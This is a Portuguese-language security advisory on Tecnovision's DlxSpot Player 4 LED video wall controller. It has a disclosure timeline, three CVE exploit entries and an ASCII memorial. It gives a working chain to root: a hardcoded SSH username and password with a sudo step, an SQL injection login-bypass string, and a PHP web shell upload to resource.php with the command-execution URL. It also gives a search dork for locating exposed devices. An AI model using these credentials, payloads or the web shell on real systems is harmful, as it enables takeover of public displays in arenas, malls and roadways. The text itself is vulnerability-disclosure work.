Vulnerabilidades e Exploits em Video Walls LED da Tecnovision. Do SQLi ao acesso total de root.

Introdução:

A Tecnovision é uma fabricante de Video Walls LED utilizados em arenas (por exemplo, o Estádio de Twickenham), salas de concerto, shopping centers, como sinalização rodoviária e muito, muito mais. O DlxSpot Player 4 é o controlador de software para alguns desses painéis de LED. Estes são os exploits não corrigidos que descobri e que levaram (ha!) do SQLi ao acesso total de root. (Observe que a senha hardcoded foi a última descoberta; eles estão apenas ordenados nesta lista pelos números CVE a eles atribuídos) Obrigado por dedicar seu tempo para ler isto. Se você tiver alguma dúvida, me chame no Twitter @unknownpwn

Gostaria de dedicar este trabalho ao meu amigo e cunhado, que faleceu recentemente, Marcus Åström. Descanse em paz. 1994-04-05 ✞ 2017-09-11

CRONOGRAMA:

2017-05-14 - Descoberta das vulnerabilidades.
2017-05-15 - Contatei a Tecnovision pelo formulário de contato na página inicial do fabricante.
2017-06-01 - Sem resposta; tentei contatar novamente por vários formulários de contato na página inicial.
2017-08-10 - Contatei a Common Vulnerabilities and Exposures (CVE) solicitando a atribuição de CVEs.
2017-08-17 - Três CVEs atribuídos às vulnerabilidades encontradas.
2017-08-22 - Com a ajuda do colega hacker e amigo byt3bl33d3r, enviei um e-mail em italiano para a empresa.
2017-09-18 - Sem resposta; divulgação pública completa.

1. Senha SSH Root Hardcoded.

# Exploit Title: DlxSpot - Player4 LED video wall - Hardcoded Root SSH Password.
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom 
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12928
# Linked CVE's: CVE-2017-12929, CVE-2017-12930

Senha hardcoded para todos os DlxSpot Players 4, acessíveis via SSH na porta 22 por padrão. O login como root está desativado.

usuário: dlxuser senha: tecn0visi0n

Após efetuar login, execute sudo su com a mesma senha para elevar os privilégios para root.

2. Injeção SQL na Interface de Administração

# Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL Injection
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12930
# Linked CVE's: CVE-2017-12928, CVE-2017-12929

O DlxSpot Player 4 acima da versão 1.5.10 sofre de uma vulnerabilidade de injeção SQL na interface de administração e é explorável > com a seguinte injeção.

usuário:admin senha:x' or 'x'='x

3. Upload Arbitrário de Arquivos para RCE

# Exploit Title: DlxSpot - Player4 LED video wall - Arbitrary File Upload to RCE
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12929
# Linked CVE's: CVE-2017-12928, CVE-2017-12930.

DlxSpot Player 4 - Upload arbitrário de arquivos sem restrições em resource.php, levando à Execução Remota de Comandos.

Acesse http://host/resource.php e envie um shell PHP. Por exemplo: <?php system($_GET["c"]); ?>
RCE via http://host/resource/source/shell.php?c=id
Saída: www-data

MMMMMMMMWXd;'  .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc..,cdKWMMMMMMMM
MMMMMMMXd:;.    ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl    .;cdKWMMMMMM
MMMMMWO;.;,   .  :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd.     ':';xWMMMMM
MMMMWx.',;'  'c.  oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk.  :;  .,;,.oNMMMM
MMMWd..l,''  .:'  .dWMMMMMMWWWXNMMMMMMNNWWWMMMMMMWk.  .:,  .,'l,.oNMMM
MMWk,;lc.., ..,;   .dNMMMMXdkO:xMMMMMWxc0kxNMMMMWk.   ,,.. ''.:o,.dWMM
MMXodxc' .,....;'   .lXMMWd';,.cXMMMMK:.;;'xWMMXo.   .;... ,. 'lxdl0MM
MXkoo;'.  ;,'' ';..   'dKk,....;0MMMMO'....;OXx,    .;' .'':. .,:xdONM
Nl';;...  :l:;,. ',..   .'..'..cONWWXO:.''..,.    .,'.',::lc. .'.:c;lX
0l;,'... .'l:.......'....      .;0WWk'.       ...'.....'.cl,. ...';;:k
Kx;.. .. ..', .,;,....'','.....,OWMMNd......',''....,:'..;,.. .. .':kK
x:... .. ...' .. ,l;.'. .. ...lKMMMMMWO:.'. .. ...:l'....,... .. ...ck
:,..  .. ...,... ..';,,''..,;;OWMMMMMMNo,:' .,',;;''. ...,... .. ...,c
,'.'. .. .. .',,.'..,.''..'..lNMMMMMMMM0;.''..;.., ...,''...  .. .'.',
c',c. .. .. .;c;':,.:'....;::xXMMMMMMMMOl;;,....;:.;,'cc, ..  '. .l'':
k;,,. .'. ...;'';::,,,.',;OXNWWMMMMMMMMWNX0l',..:,,lc;':, .. .'  .c,;k
k:'..  ;, ...;..,.'ll:ckkxXMMMMMMMMMMMMMMMWkdxo::l:',,.'; .. ,,  .'':O
0c..'  lo...'c.'c..kNOxXMWWMMMM R I P MMMMWNWWOx0K: ;:.;:....o; .'.'l0
Xl..;. o0;.':o,.dc.kMWNWMMMMMMMMMMMMMMMMMMMMMWNNMX:.d:.lc'. c0; ', .xX
Wl ,k:.ckd..oOc.o0cdWMMMMMMM M A R C U S MMMMMMMM0:dO'.xx:.,kO, ll..kM
Nc.okl,::ol'cxd,;KK0WMMMMMMMMMMMMMMMMMMMMMMMMMMMM0OXd.ckx;'dol,,kk,.xM
Nc;c.:ol..loc:dx:kMWMMMMMMM  A S T R O M  MMMMMMWWXccklccoc.:ll:ll'xMM
Noc' .oo' .lo':KO0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKxKo,lkc  lk: .::kM
NOx' .',,  ..  .dWMMMM 1994-04-05 ✞ 2017-09-11 MMMMWWO' ';. .::'  cdOM
WN0, ,;.,. ... .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:  .. .;.., .dKXM
MMN: lx..;. .,. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc  ''  ,,.co..OWWM
MMWd'lk:.':. 'c' ,0WMMMMMMM FOREVER LOVED MMMMMMMMXc .:;  ;;.'kx.:XMMM
MMW0dlcc,.;l. ,xd,;OWMMMMM NEVER FORGOTTEN MMMMMW0:.cd: .::..cdocxWMMM
MMNo;,:;';'co' 'kXkkXMMMMMMMMMMMMMMMMMMMMMMMMMMMXxx0O; .ll',;::cokNMMM
MMX: .l: .,co:'..dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWk'.'ldc;'.:c. :XMMM
MM0' 'Ol   cl..;:,lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,,,.'oc.  ox. ;KMMM
MWd..xNl  .lc  ,0KdxXMMMMMMMMMMMMMMMMMMMMMMMMMMWKdo0k'  lc   dXc .OMMM
WO;:OWNc  .kd  .OMMNNWMMMMMMMMMMMMMMMMMMMMMMMMMWXNWMx. .xd.  oWXc.cXMM
WK0NMMK,  cNx. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. '00'  lNMNOd0WM
MMMMMMk. ,0Mk. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. ,KWo. ;KMMMMMMM
MMMMMNc 'OWMk..dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ;XMXc .kMMMMMMM
MMMMMk';0WMMk':XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx.;XMMXc.cNMMMMMM
MMMMXddXMMMM0xKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdoNMMMNd:OMMMMMM
MMMMNXWMMMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNXWMMMMWOkNMMMMM

unknownpwn.github.io